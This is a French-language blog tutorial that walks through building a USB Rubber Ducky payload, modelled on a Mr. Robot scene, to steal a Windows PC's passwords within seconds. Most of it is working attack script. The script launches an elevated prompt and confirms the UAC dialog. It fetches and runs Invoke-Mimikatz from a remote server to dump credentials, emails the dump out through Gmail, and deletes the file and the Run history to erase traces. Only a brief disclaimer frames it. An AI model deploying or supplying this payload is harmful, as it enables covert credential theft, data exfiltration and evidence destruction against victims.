USB Rubber Ducky: Mr. Robot style !

Date de publication: 24/09/2016

ATTENTION: Je ne suis en aucun cas responsable de vos actes. Cet article est purement à but informatif et éducatif. Merci. Salut à tous et à toutes, bande de geeks! Maintenant que vous comprenez les bases de l’utilisation de l’attaque par vecteur USB, les choses sérieuses vont pouvoir commencer. Beaucoup d’entre vous ont l’air intéressés par le fonctionnement de l’USB Rubber Ducky, et souhaitent passer au niveau supérieur.

La très -bonne et- célèbre série Mr. Robot fait rêver des milliers de Hackers partout dans le monde en montrant des Hacks dans chacun de ses épisodes. Un des plus célèbres Hacks étant celui où Angela (un des personnages principaux) utilise l’USB Rubber Ducky pour extraire tous les mots de passes d’un PC en moins de 15 secondes! Impressionnant non?

Ce Hack est d’autant plus incroyable qu’il est réalisable très facilement pour quiconque possédant ce Canard USB! Vous l’aurez deviné, aujourd’hui nous allons nous attaquer à créer un Payload permettant de voler tous les mots de passes d’un PC en moins de 15 secondes. Prêts? C’est parti! Commençons d’abord par définir le principe de fonctionnement du Payload:

  1. Le Payload utilise un script Powershell nommé Mimikatz qui permet d’extraire les mots de passes de l’ordinateur.
  2. La particularité de Mimikatz est qu’il est totalement codé en script powershell. Ce qui veut dire qu’il ne touche en aucun cas aux fichiers de l’ordinateur. Il reste seulement chargé dans la RAM pendant son exécution, puis s’arrête sans laisser de traces. Seul inconvénient, Mimikatz à besoin d’un accès administrateur pour pouvoir fonctionner correctement.
  3. Nous allons donc utiliser la méthode d’envoi de mails, apprise dans le précédent article pour évacuer les mots de passes.
  4. Et pour finir, je vais vous expliquer comment effacer toutes traces après l’exécution du Payload.

Nous devons donc commencer par lancer un invite de commande en administrateur. Voici le code détaillé:

DELAY 2000
GUI r
DELAY 300
REM Lance le cmd en demandant les droits admin
STRING powershell Start-Process cmd -Verb runAs
ENTER
DELAY 5000
REM Flèche "Gauche" et "Entrer" pour laisser le cmd en tant qu'admin
LEFT
ENTER
DELAY 1000

Et voilà, le cmd admin est à nous! Maintenant, nous devons télécharger le script invoquant Mimikatz. Pour ce faire, nous devons initialiser une instance powershell qui va télécharger et exécuter Mimikatz.

DELAY 500
REM Télécharge Mimikatz et insère le résultat dans le fichier c:/mimikatz.txt
STRING powershell -nop -c "IEX (New-Object Net.WebClient).DownloadString('https://VotreServeur/mimi.ps1')"; Invoke-Mimikatz -DumpCreds > C:\\mimikatz.txt
ENTER
REM Attend 15 secondes pour laisser Mimikatz travailler tranquillement
DELAY 15000

Vous l’aurez donc compris, vous aurez besoin d’uploader le script Invoke-Mimikatz.ps1 sur un de vos serveur. (Le HTTPS est recommandé) Et maintenant, il n’y a plus qu’à exporter le résultat par Mail! Un vrai jeu d’enfant.

REM On lance powershell
STRING powershell
ENTER
DELAY 1000

STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
 
REM Remplacez ces valeurs par l'adresse mail qui enverra le mail
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('VOTRECOMPTE@gmail.com', 'MOTDEPASSE')
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'VOTRECOMPTE@gmail.com'
ENTER
 
REM Ici spécifiez l'adresse qui recevra le mail
STRING $ReportEmail.To.Add('COMPTEQUIRECEVRALEMAIL@gmail.com')
ENTER
STRING $ReportEmail.Subject = 'Mimikatz Passwords!'
ENTER
STRING $ReportEmail.Body = ('Voici vos mots de passes capturés par Mimikatz')
ENTER
REM On attache le fichier mimikatz.txt au mail.
STRING $ReportEmail.Attachments.Add(C:\\mimikatz.txt)
ENTER
REM On envoie le mail!
STRING $SMTPInfo.Send($ReportEmail)
ENTER
REM On attend l'envoi du mail avant de fermer l'invite de commande
DELAY 3000
REM Supprime le fichier contenant les mots de passes volés
STRING del "C:\\mimikatz.txt"
ENTER

Dernière partie: effacer ses traces. Je sais que beaucoup d’entre vous se tâtent de connaître comment faire disparaître toutes les preuves, et pour cause, pour le moment tous nos Payloads étaient complètement traçables en regardant simplement l’historique du cmd. La manière la plus radicale est de toucher à la base de registre Windows. Cette dernière contient en effet l’historique de toutes les commandes exécutées sur la machine. Une seule commande suffit pour tout supprimer:

DELAY 200
STRING Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU' -Name '\*' -ErrorAction SilentlyContinue
ENTER
DELAY 100

Si vous ne comprenez pas ce que signifie cette commande, je vous recommande d’apprendre à utiliser l’invite de commande pour interagir avec le registre Windows. (NOTE: Pour exécuter cette commande, les droits administrateurs sont requis.) Et voilà, notre Payload est prêt! Il ne reste plus qu’à l’encoder et à le déployer! Si cet article vous a plu, n’hésitez pas à le partager et à me le faire savoir! :D Je vous donne rendez-vous à la prochaine, et d’ici là: Stay Tuned! Lien pour télécharger Invoke-Mimikatz.ps1